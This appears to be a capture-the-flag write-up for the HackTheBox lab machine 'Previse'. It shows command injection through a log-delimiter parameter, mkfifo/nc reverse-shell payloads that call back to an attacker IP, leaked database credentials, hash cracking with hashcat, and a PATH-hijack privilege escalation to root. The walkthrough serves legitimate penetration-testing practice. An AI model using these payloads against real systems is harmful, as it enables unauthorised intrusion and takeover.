Recon
nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
└─$ nmap 10.10.11.104 -T5 -A -sV -p-
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 14:43 CEST
Warning: 10.10.11.104 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.104
Host is up (0.034s latency).
Not shown: 61881 closed tcp ports (conn-refused), 3652 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Previse Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
We face a Linux with a webserver and a SSH server.
dirbuster
Running a dirbuster
scan, we find multiple files.
Result of the dirbuster scan
While browsing on the website, we see that we can’t access to any page. We need to be log in. All page redirect to http://10.10.11.104/login.php.
With burp or curl we can catch requests before redirection to the login page.
Catch the accounts.php page
We see at http://10.10.11.104/files.php that a backup archive can be downloaded.
SITEBACKUP.ZIP file that can be downloaded on http://10.10.11.104/files.php
Vulnerabilities
Creating an account
First, we need an account to access to the website and the backup.
To do so, we can use burp or curl to regsiter on the accounts.php
page.
Register using burpsuite
1
2
|
# Register using curl
└─$ curl "http://10.10.11.104/accounts.php" -X POST -d "username=pezzz&password=pezzz&confirm=pezzz"
|
Access to backup files
We can now download the backup archive and get an access to the source code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
└─$ unzip siteBackup.zip
Archive: siteBackup.zip
inflating: accounts.php
inflating: config.php
inflating: download.php
inflating: file_logs.php
inflating: files.php
inflating: footer.php
inflating: header.php
inflating: index.php
inflating: login.php
inflating: logout.php
inflating: logs.php
inflating: nav.php
inflating: status.php
|
On the config.php
file, we found some credentials of a mysql user.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
└─$ cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
|
While browsing, we found that we can extract logs from http://10.10.11.104/file_logs.php page.
Each log entry contains the timestamp, the user and the file’s id that have been downloaded.
1
2
3
4
5
|
time,user,fileID
1622482496,m4lwhere,4
1622486218,m4lwhere,1
[...]
1663019504,pezzz,32
|
Those logs are generated from a php script that call a python command on the logs.php
file.
1
2
3
4
5
6
|
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
|
The python script parse log with a choosen delimiter. See the exploit?
Getting our first shell
I tried to inject some commands on the delimiter parameter. I first test with a simple wget
1
2
3
4
5
6
|
POST /logs.php HTTP/1.1
Host: 10.10.11.104
[...]
delim=comma%20%26%26%20wget%2010.10.16.11%3a4444
# delim=comma && wget 10.10.16.11:4444
|
On our host, we get the request !
1
2
3
4
5
6
7
8
9
|
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.104] 43272
GET / HTTP/1.1
User-Agent: Wget/1.19.4 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.16.11:4444
Connection: Keep-Alive
|
Let’s try to run a reverse shell.
1
2
3
4
5
6
7
8
9
10
|
# w/ burp
POST /logs.php HTTP/1.1
Host: 10.10.11.104
[...]
delim=comma%20%26%26%20rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%2010.10.16.11%204444%20%3e%2ftmp%2ff
# delim=comma && rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.11 4444 >/tmp/f
# w/ curl
└─$ curl -X POST "http://10.10.11.104/logs.php" -d "delim=comma%20%26%26%20rm%20%2ftmp%2ff%3bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh%20-i%202%3e%261%7cnc%2010.10.16.11%204444%20%3e%2ftmp%2ff" -H "Cookie: PHPSESSID=gnb7cv6c6roo3h8g84vc3cgpra"
|
We got our first shell as www-data user !
1
2
3
4
5
6
7
8
9
|
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.104] 43340
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ cat /home/m4lwhere/user.txt
cat: /home/m4lwhere/user.txt: Permission denied
|
Sadly, we don’t have access to the user flag.
Path to the privesc
Access to m4lwhere user
As we have MySQL credentials, let’s try to found some creds.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
www-data@previse:/var/www/html$ mysql -D previse -u root -p
Enter password: mySQL_p@ssw0rd!:)
mysql> show tables;
+-------------------+
| Tables_in_previse |
+-------------------+
| accounts |
| files |
+-------------------+
2 rows in set (0.00 sec)
mysql> select * from accounts;
+----+----------+------------------------------------+---------------------+
| id | username | password | created_at |
+----+----------+------------------------------------+---------------------+
| 1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |
| 2 | pezzz | $1$🧂llol$TUr8t7y/bznpeZu6Xtnhq. | 2022-09-12 21:49:46 |
+----+----------+------------------------------------+---------------------+
|
The database contains an account
table, we can find hash of our user pezzz
hash of m4lwhere
password.
hashcat
I tried to bruteforce the hash using hashcat
.
1
2
|
└─$ hashcat -m 500 -a 0 hash /usr/share/wordlists/rockyou.txt
$1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235!
|
We got m4lwhere creds: m4lwhere:ilovecody112235!
1
2
3
4
5
|
└─$ ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password: ilovecody112235!
m4lwhere@previse:~$ cat user.txt
**************************be968c
|
Access to root user
Checking m4lwhere
privileges:
1
2
3
4
|
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
|
We can execute a bash script with root privilege. The script is used to backup some logs files.
1
2
3
4
5
6
7
8
9
|
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
|
As the script access_backup.sh
don’t use a full path on gzip
command, we can create our script and add it into PATH environment variable.
So first, we create a file gzip
in which we add a reverse shell.
1
2
3
|
m4lwhere@previse:~$ cat bin/gzip
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.11 4445 >/tmp/f
|
Next, we add our new gzip
script in $PATH
environment variable and execute /opt/scripts/access_backup.sh
script.
1
2
3
4
5
6
7
8
9
10
11
12
|
m4lwhere@previse:~$ export PATH="$HOME/bin:$PATH"
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
└─$ rlwrap nc -lvnp 4445
listening on [any] 4445 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.104] 40098
# whoami
root
# cat root.txt
**************************7a5ec9
|
We have a root shell! We can get our flag :)
Weak Password